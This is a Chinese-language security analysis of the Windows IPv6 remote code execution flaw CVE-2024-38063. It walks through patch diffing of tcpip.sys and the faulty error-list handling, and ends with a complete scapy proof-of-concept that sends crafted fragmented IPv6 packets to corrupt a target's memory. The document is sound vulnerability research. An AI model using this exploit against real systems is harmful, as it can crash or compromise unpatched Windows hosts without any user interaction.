wxvl/doc/2024-11/CVE-2024-38063:IPv6远程代码执行漏洞分析.md

9.1 KiB
Raw Permalink Blame History

CVE-2024-38063IPv6远程代码执行漏洞分析

原创 洞源实验室 洞源实验室 2024-11-01 20:01

    2024年8月13日微软在“补丁星期二Patch Tuesday”更新中披露了一个严重漏洞CVE-2024-38063该漏洞是由国内赛博昆仑实验室的Wei发现并上报影响到Windows系统的TCP/IP协议实现TCP/IP协议是用于互联网通信的基本通信协议。该漏洞的CVSS评分为9.8严重且允许攻击者在启用IPv6的系统上远程执行任意代码RCERemote Code Execution因而这个漏洞可以远程被利用并且有“蠕虫化”的潜力这也意味着它可以在无需用户交互的情况下在网络中传播。

影响范围

    该漏洞影响到启用IPv6协议的Windows系统而IPv6协议在Windows系列系统中都是默认启用的因此漏洞影响范围包括Windows 10、Windows 11和从2008年到2022年的各种Windows Server版本。

漏洞原理

    从漏洞信息可以看出该漏洞的弱点是CWE-191整数溢出但为了理解该漏洞的原理需要了解CVE-2024-39063的补丁做了哪些修订由于受影响的是IPv6协议的实现文件tcpip.sys因此需要对比补丁前后的tcpip.sys文件的不同这个步骤可以利用Winbindex网站https://winbindex.m417z.com/和bindiff工具前者可以用来查询和下载不同版本的Windows系统文件包括像tcpip.sys这样的系统文件后者是一个二进制差异对比工具通常配合IDA Pro使用用来比较两个不同版本的二进制文件。

    笔者使用的是Windows 10专业版22H2版本的系统进行文件对比和分析因此在Winbindex中寻找补丁发布2024年8月13日前后该版本操作系统的tcpip.sys文件。

    下载之后的文件需要用IDA Pro分别打开并保存或快捷键Ctrl+W为i64后缀的数据文件之后使用IDA Pro自带的bindiff工具或快捷键Shift+D对比两个文件的差异。

    在匹配函数Matched Functions功能中可以看到这两个文件唯一的区别是来自Ipv6pProcessOptions函数根据函数名称可知该函数在Windows系统中是用来处理IPv6数据包选项信息的。

    IPv6报文Packet的报头Header分为两个部分第一部分是固定报头或基础报头Fixed/Base Header其长度固定为40字节包括版本Version、通信类Traffic Class、流标签Flow Label、载荷长度Payload Length、下一个报头Next Header、跳数限制Hop Limit、源地址Source Address、目的地址Dstination Address第二部分是扩展报头Extension Header其长度不固定但内容包括逐跳选项Hop-by-Hop Options、目的地选项(Destination Options)、路由头(Routing Header)等。

    Ipv6pProcessOptions函数就是用来处理IPv6报头的扩展报头选项的这个函数在两个版本的文件中的主要区别在于函数最后一部分代码7月16日签名的版本中该部分的代码如下

    8月10日签名的版本中该部分的代码如下

    上面代码中Feature_2365398330__private_IsEnableDeviceUsage函数的返回值赋值给IsEnableDeviceUsage而该变量决定是否执行IppSendError函数还是IppSendErrorList函数后者是补丁前文件中的代码结合函数名称可以判断该函数用于设定是否启用补丁程序以避免补丁程序存在缺陷对系统产生影响同时也意味着漏洞的位置是在IppSendErrorList函数的实现中。

    接着查看IppSendErrorList函数如下图这个函数中定义了一个临时的指针变量v8同时结合通过遍历传入的指针参数a3实现IppSendError函数对于指针*a3的遍历调用即使用函数IppSendError处理链表中的节点。

    而补丁修改的代码是删除了IppSendErrorList函数直接调用IppSendError函数也就是说补丁的核心功能是去掉了链表遍历。这是两个完全不同逻辑的处理方式前者是通过链表处理每个节点后者则是只处理一个节点上述代码的入参a1同时也是Ipv6pProcessOptions函数的入参这个参数其实是NET_BUFFER_LIST结构的网络包的列表更新后的补丁只处理第一个节点也意味着漏洞的成因是由于链表的处理。

    从IppSendError函数名称可以判断这个函数的功能是用来发现IPv6报头错误后发送错误的之所以存在链表的处理方式根据上文中IPv6报头结构可知下一个头Next Header会指定扩展报头而每一个扩展报头又会通过下一个头Next Header继续指定扩展报头这个结构本身就是链表形式因此IppSendErrorList设计的初衷应当是用来逐个处理每一个扩展头的错误。

    在IppSendError函数的伪代码中可以看到多次调用NetioRetreatNetBufferList函数该函数是用来撤回网络缓冲区重新传输或丢弃数据包用的或者说是用来处理错误信息的必要函数既然是整数溢出漏洞那么就需要特别关注下NetioRetreatNetBufferList上下文的部分其中尤为可疑的部分是下图中的代码。

    结合NetioRetreatNetBufferList的定义如下

VOID
NetioRetreatNetBufferList(
 _In_ PNET_BUFFER_LIST NetBufferList,
 _In_ ULONG DataOffsetDelta,
 _In_ ULONG DataBackFill,
 _In_ BOOLEAN MdlOnly
 );

    NetioRetreatNetBufferList的第二个参数是整数类型的DataOffsetDelta该参数指定的是NET_BUFFER_LIST中的数据指针的偏移量而这个偏移量在处理分包的时候被置为了0。这么做的后果是遇到多个小报文组成的IPv6数据包时随着分片处理和合并使用重置为0的DataOffsetDelta申请内存并在后续的Ipv6pReassemblyTimeout函数中调用从而产生了内存溢出。

漏洞利用

    ynwarcs已经在漏洞披露后编写了很好的PoC程序代码如下

from scapy.all import *

iface='' # interface of network
ip_addr='' # Target ip address
mac_addr='' # Leave this empty at default
num_tries=20
num_batches=20

def get_packets_with_mac(i):
    frag_id = 0xdebac1e + i
    first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

def get_packets(i):
    if mac_addr != '':
        return get_packets_with_mac(i)
    frag_id = 0xdebac1e + i
    first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

final_ps = []
for _ in range(num_batches):
    for i in range(num_tries):
        final_ps += get_packets(i) + get_packets(i)

print("Sending packets")
if mac_addr != '':
    sendp(final_ps, iface)
else:
    send(final_ps, iface)

for i in range(60):
    print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
    time.sleep(1)
print("")

参考资料